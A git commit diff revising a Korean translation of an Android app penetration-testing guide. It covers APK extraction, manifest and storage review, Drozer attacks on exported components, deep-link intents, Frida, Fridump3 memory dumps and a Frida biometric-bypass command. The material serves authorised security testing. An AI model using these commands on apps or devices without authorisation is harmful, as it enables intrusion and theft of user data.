Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-07-19 04:19:13 +00:00
parent 06703c52f0
commit 00a2e990a8
3 changed files with 191 additions and 65 deletions

View File

@ -334,6 +334,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)

View File

@ -15,17 +15,18 @@ android-applications-basics.md
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다.
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배워보세요.
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배세요.
## Smali
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그 등)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 따라서 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 유용할 수 있습니다.\
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그 등)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks
- [Play Store에서 위치 스푸핑하기](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB 기반 비루트 특권 접근)](shizuku-privileged-api.md)
- [불안전한 인앱 업데이트 메커니즘 악용하기](insecure-in-app-update-rce.md)
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:
```bash
@ -37,7 +38,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- 모든 분할 및 기본 APK를 [APKEditor](https://github.com/REAndroid/APKEditor) 병합합니다:
- [APKEditor](https://github.com/REAndroid/APKEditor)를 사용하여 모든 분할 및 기본 APK를 병합합니다:
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -68,7 +69,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
@ -78,7 +79,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
### Tapjacking
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 알지 못하게 됩니다.
결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**.
자세한 정보는 다음에서 확인하세요:
@ -100,12 +101,12 @@ android-task-hijacking.md
**내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제 적용**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션**에 의한 파일 접근을 제한하지 않습니다.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)이 이러한 파일에 접근하는 것을 **제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **장치에 설치된 모든 애플리케이션**, 출처나 의도에 관계없이, 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소**
@ -117,14 +118,14 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**된 후 동적으로 로드되도록 해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**.
> [!TIP]
> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻지 못하도록 방지합니다.
> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
**명확한 텍스트로 저장된 민감한 데이터**
@ -150,7 +151,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다.
### Other checks
@ -270,36 +271,36 @@ You need to activate the **debugging** options and it will be cool if you can **
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
> [!WARNING]
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 기록하지 않는 것이 여전히 권장됩니다**.
> **Android 4.0 이후**부터 **응용 프로그램은 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 로그에 기록하지 않는 것이 여전히 권장됩니다**.
**Copy/Paste Buffer Caching**
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 응용 프로그램**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
**Crash Logs**
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
**Analytics Data Sent To 3rd Parties**
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
응용 프로그램은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **응용 프로그램의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열하세요.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 응용 프로그램이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용**하는 데 유용한 도구입니다.
### Exploiting exported Activities
@ -308,7 +309,7 @@ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악
**Authorisation bypass**
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 있는 활동이 **내보내지면** **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -330,26 +331,26 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 작업을 수행하게** 만들 수 있습니다. [**Tapjacking이 무엇인지에 대한 더 많은 정보는 링크를 따라가세요**](#tapjacking).
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 따라가세요**](#tapjacking).
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**의 가능성을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요.
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로 테스트**해야 합니다.\
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**할 수 있는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드****확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로** **테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
@ -358,26 +359,26 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
### **스킴 / 딥 링크 악용**
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를 열어야 하는 앱을 자동으로 호출합니다._
_패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해당 링크를 열어야 하는 앱을 호출합니다._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**실행된 코드**
**코드 실행됨**
**앱에서 실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
앱에서 **실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
![](<../../images/image (436) (1) (1) (1).png>)
**민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인해야 합니다.** 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
**경로의 매개변수**
@ -392,7 +393,7 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
#### 인증서 검증
@ -432,15 +433,15 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
- Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/index.html)
- Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection은 Frida 사용을 자동화하는 데 유용합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)).
### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 메모리에 저장하고 있지 않은지 확인하세요.
애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다:
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 루트 사용자로서 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있는지 확인해야 합니다.
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 누군가가 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -477,7 +478,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -489,7 +490,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
### 주요 요점
@ -526,26 +527,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
### MobSF를 이용한 보조 동적 분석
